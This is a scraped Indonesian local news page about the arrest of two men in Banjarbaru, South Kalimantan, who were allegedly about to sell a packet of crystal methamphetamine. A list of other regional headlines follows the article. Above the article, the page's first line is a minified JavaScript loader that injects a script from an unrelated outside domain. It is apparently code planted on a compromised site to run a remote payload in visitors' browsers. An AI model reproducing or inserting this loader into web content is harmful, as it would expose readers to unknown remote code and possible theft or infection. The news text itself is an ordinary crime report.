(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Hendak Jual Sabu, Dua Pemuda Sumberadi Dibekuk Polisi


KANALKALIMANTAN.COM, BANJARBARU – Dua pengedar sabu di Banjarbaru tak berkutik saat dibekuk anggota Unit Buser Polsek Banjarbaru Utara, kedapatan simpan narkoba jenis sabu, pada Kamis (17/3/2022) sekitar pukul 00.15 Wita, Jalan Sumberadi Kelurahan Guntung Paikat, Kecamatan Banjarbaru Selatan.

DS (28) dan F (34), dua tersangka tersebut datang berboncengan menggunakan motor dan berencana menjual paket sabu kepada calon pelanggan.

Sebelumnya kedua pelaku sudah dibuntuti oleh Unit Buser Polsek Banjarbaru Utara yang dipimpin langsung oleh Panit 2 Opsnal Polsek Banjarbaru Utara Aiptu Sugeng Gunawan.

Kapolsek Banjarbaru Utara Kompol Shofiyah melalui Ps Kasi Humas Polsek Banjarbaru Utara Aipda Andreas, mengatakan, tertangkapnya pelaku berawal dari informasi dari masyarakat bahwa di Jalan Sumberadi sering terjadi transaksi narkotika jenis sabu.

 

Baca juga : Gerakkan Ekonomi Masyarakat, PLN Sulap Limbah Batu Bara Jadi Pujasera

“Mereka memang pengedar dan mendapat informasi dari masyarakat. Saat akan menjual, namun terendus petugas yang melakukan pengintaian,” ujarnya. Senin (21/3/2022).

Dijelaskan Aipda Andreas waktu itu kedua tersangka sedang berboncengan sedang diintai oleh petugas Unit Buser Polsek Banjarbaru Utara.

Barang haram tersebut milik DS (28) yang bekerjasama dengan F (34) yang rencana ingin dijual dengan harga Rp500 ribu untuk paket tersebut.

Pada saat itu, satu paket jenis sabu disimpan DS (28) di saku bajunya. Ketika ditangkap petugas DS (28) sempat membuang barang bukti tersebut.

 

Baca juga : Pilkades Serentak di Tanbu, Begini Penjelasan Dinas PMD Tanbu

“Barang bukti sempat dibuang DS saat ingin ditangkap petugas. Namun ketahuan, barang bukti tersebut akan dijual dengan harga Rp500 ribu,” jelasnya.

Setelah itu, petugas juga melakukan penggeledahan di rumah tersangka dan berhasil menemukan barang bukti lainnya berupa 2 pipet kaca yang ditemukan di kandang sapi dekat rumah tersangka.

“Pipet kaca ditemukan di kandang sapi dekat rumah pelaku,” tambahnya.

Masih kata Aipda Andreas, untuk mempertanggung jawabkan perbuatan, mereka disangkakan Pasal 131 Sub Pasal 114 Sub Pasal 112 UU RI No. 35 Tahun 2009 Tentang Narkotika.

“Kedua tersangka dan barang bukti diamankan dan dibawa ke Polsek Banjarbaru Utara guna proses lebih lanjut,” tandasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.